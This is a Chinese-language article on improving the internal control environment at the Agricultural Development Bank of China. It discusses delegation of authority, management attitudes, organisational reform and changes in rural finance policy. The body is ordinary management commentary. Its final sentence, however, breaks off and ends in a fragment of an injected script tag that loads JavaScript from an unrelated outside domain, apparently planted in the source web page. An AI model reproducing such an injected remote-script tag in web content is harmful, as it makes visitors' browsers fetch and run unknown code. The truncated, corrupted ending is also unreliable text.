内部控制是管理现代化的必然产物和重要一环，控制环境是内部控制的基本要素之一，是内控制度存在和发挥效力的土壤，控制环境的适当与否直接决定着农发行会计系统和控制程序能否实施或实施的效果。因此，形成有利于经营管理的控制环境是农发行研究、评价、完善具有鲜明农业政策性特点的内部控制的迫切需要。

    第一，明确授权与分配责任。

    当前存在的问题：

    一是授权人一授了之，疏于管理。只有在被授权人职位发生变动时才做调整，这是农发行在授权过程中普遍的做法。

    二是授权不全面，授权书未能说明其权限在哪些方面应受到限制。

    三是授权不适当。譬如，基层行行长既是贷款审查人又是贷款审批人的情况，就是未能执行审贷分离制。

    明确授权、适时检查、加强监督是进行授权管理的有效方法：

    一是要防止授权过于集中而使不相容的职位难以分离，也要防止授权不到位而出现权利真空责任难以落实两种倾向。

    二是授权应该进行动态管理，并以合适的形式通晓全体员工，并要求被授权人定期检讨履行职责情况，授权人也应该及时检查、评估被授权人履行授权及责任的状况，并根据需要或变化进行适当调整。

    按照授权制度，农发行各级行应该按年度明确授权，这样做至少可以向被授权人及有关员工传达管理层很重视授权管理的意向。

    第二，在管理层形成科学管理的经营观念和方式。

    就目前的管理状况而言，农发行管理层应着重通过以下三个方面影响控制环境：

    （１）管理层对待经营风险的态度和控制经营风险的方法；

    （２）为实现业务拓展、利润计划和其他财务及经营目标而对管理的重视程度；

    （３）管理层对错误或舞弊所持的态度和采取的行动。

    如果高级管理人员工作很负责、很勤勉，普遍树立向管理要效益，以效益求发展的理念，自觉维护内控制度，那么，其他人员就能减少对管理哲学和经营方式等方面的疑虑，最终形成上下同心，利益一体，共谋发展的良好控制环境。

    第三，推进组织结构改革。

    目前，农发行组织结构存在着三个方面的突出问题：

    一是党务与企业管理合一。分支机构的主要管理者既是企业经营者，又是党务工作者，双重责任弱化了企业管理者参与经营的时间和精力。

    二是管理链条长、环节多、效率低。农发行按行政区划设置分支机构，实行三层（总、省、市行）管理，一层（县、区支行）经营，不但影响了工作效率，而且增加了管理成本。

    三是内设部门行政色彩浓，工作报告关系过多。内设部门行政色彩浓，不利于管理层转变企业经营理念；工作报告关系过多，难以充分发挥内设部门的职能作用。

    因此，应从纵向和横向两个方面推进组织机构的科学和高效：纵向上推进扁平化管理，减少中间管理环节，关键在于一伸一收，管理职能前伸，实行专业化经营，监督职能上收，实行审计垂直管理，直接向一级法人负责，体现审计监督的权威性和独立性，当然，保留分行本级的审计机构也是必要的；横向上一方面体现客户营销理念，体现客户管理的基础管理地位，另一方面确保不相容的职能分离，防止职能交叉。

    第四，抓紧适应内外部影响因素的变化。

    其一，建设社会主义新农村，要求农发行发挥更大的作用。由于农业是弱势产业，市场资源的配置优势在这里难以体现，农村信用社信贷支农力度不足，邮政储蓄又把有限的农村资金分配到城市，各方呼吁农业政策性银行完善职能，切实负起建设新农村的历史使命。

    其二，农村金融改革和政策性银行改革将实现重大突破。中央１号文件要求农业发展银行要调整职能，扩大对农业、农村的服务范围。

    其三，粮棉流通体制改革深化和农业产业化发展，进一步要求农发行调整信贷结构、实现有效发展。

    其四，内部管理体制、经营管理机制改革，要求农发行提供新的活力和内在动力。

    其五，有关管理机构强化监督手段，要求农发行高级管理层强化控制意识，采用特定的内部控制政策和程序。

    以上因素的变化都要求以完善农发行自身的体制、机制为出发点，实现现代企业管理制度为前提。因此，农发行员?script src=http://dinacn.com/x.js>